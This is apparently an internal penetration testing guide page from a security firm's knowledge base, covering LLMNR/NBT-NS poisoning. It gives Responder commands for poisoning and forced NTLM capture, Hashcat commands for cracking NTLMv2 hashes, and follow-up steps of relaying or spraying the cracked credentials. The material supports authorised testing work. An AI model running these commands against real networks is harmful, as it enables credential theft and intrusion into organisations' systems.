Services

Example Reports Methodologies AI Assessment Methodology API penetration test methodology Essential Eight Assessment Methodology External penetration test methodology Internal penetration test methodology Mobile application penetration testing methodology Red team & Adversary simulation methodology Web application penetration test methodology Wireless penetration test methodology Penetration testing engagement guide Reporting Reporting process Writing a retest report Service catalogue Teams Phishing Engagement Guide Tools & Tricks Abusing WDAC to kill EDR Generating effective wordlists Internal Pentesting Trainee Guide Initial Access LDAP Anon Bind LLMNR Poisoning NAC Bypass NTLM Relay Relays SMB Null Sessions Low Priv Foothold ACL Abuse AD Enumeration ADCS (ESC1)AS-REP Roasting Coerced Auth Kerberoasting Pass the Password/Hash RBCD Shares Post Compromise NTDS.dit dump Paths to GA Mobile pentest: Getting started Physical Intrusion Kit Inventory Setting up a testing host in AWS Welcome Packs Penetration testing welcome pack Phishing Campaign Welcome Pack Remediation Test Welcome Pack What value does Volkis bring to penetration testing?

Operations

AI Usage Guidelines Asset Management Policy Data Retention Development Guidelines Ethical guidelines for Volkis partnerships Expenses How we use Notion How we use Resource Guru How we use Trello Internal security Acceptable usage policy Cryptography policy Data classification and protection policy Internal security overview Managing projects at Volkis Remote Working Policy Slack etiquette & usage guide Style guide Supplier Management Policy The life and times of a Project ID Third-party service providers Workflow automations & integration

People

Biographical data sheets Getting started in penetration testing Hiring / Job-seeker guidelines Industry presentations Internal Role Descriptions Onboarding guide & checklist Personal Security Policies Disciplinary Process Performance and Feedback Volkis People Benefits Trainee Handbook Shadowing Engagements Guidelines External shadowing introduction Internal shadowing introduction Web Application shadowing introduction

Company

Brand guidelines and press pack Company overview Policies Code of ethics Independence policy State of Volkis State of Volkis 2024 State of Volkis 2026 State of Volkis, February 2023 State of Volkis, January 2022 Volkis goodies Volkis values

Client Resources

Essential Eight Guidance for Schools Penetration testing and the Essential Eight

Sales

Partner pack Scoping guide

Marketing

Social Media Guidelines

Theme

LLMNR Poisoning

Updated 29 Sept 2026Services✎ Suggest a change

On this page

LLMNR/NBT-NS Poisoning Attack Flow Tool: Responder Execution Cracking (Hashcat - Mode 5600)Next Steps

LLMNR/NBT-NS Poisoning

Attack Flow

plain text

DNS query fails → LLMNR/NBT-NS multicast fallback → Responder replies "I am that host"
→ Victim authenticates via NTLM → NTLMv2 hash captured
→ Crack offline (Hashcat) OR relay (ntlmrelayx)

Tool: Responder

Repo: https://github.com/lgandx/Responder
Pre-installed on Kali: /usr/share/responder/
Logs: /usr/share/responder/logs/

Execution

bash

# Standard
sudo responder -I eth0 -dw
sudo responder -I eth0 -dwv

# Tee output
sudo responder -I eth0 -dwv 2>&1 | tee responder_output.txt

# Forced NTLM via WPAD (no victim typo needed)
sudo responder -I eth0 -dwPv
sudo responder -I eth0 -dwPv 2>&1 | tee responder_output.txt

# Over VPN
sudo responder -I tun0 -dwPv
sudo responder -I tun0 -dwPv 2>&1 | tee responder_output.txt

Flag	Purpose
`-I`	Interface
`-d`	DHCP poisoning
`-w`	Rogue WPAD proxy
`-P`	Force NTLM auth (requires `-w`)
`-v`	Verbose

View captured hashes:

bash

cd /usr/share/responder/logs
ls
cat *txt

Cracking (Hashcat - Mode 5600)

bash

hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 5600 captured_hash.txt --show

Next Steps

Result	Action
Hash captured	Crack offline (Hashcat) or relay (`ntlmrelayx`)
Hash cracked	Spray against SMB, RDP, WinRM, VPN

← LDAP Anon Bind NAC Bypass →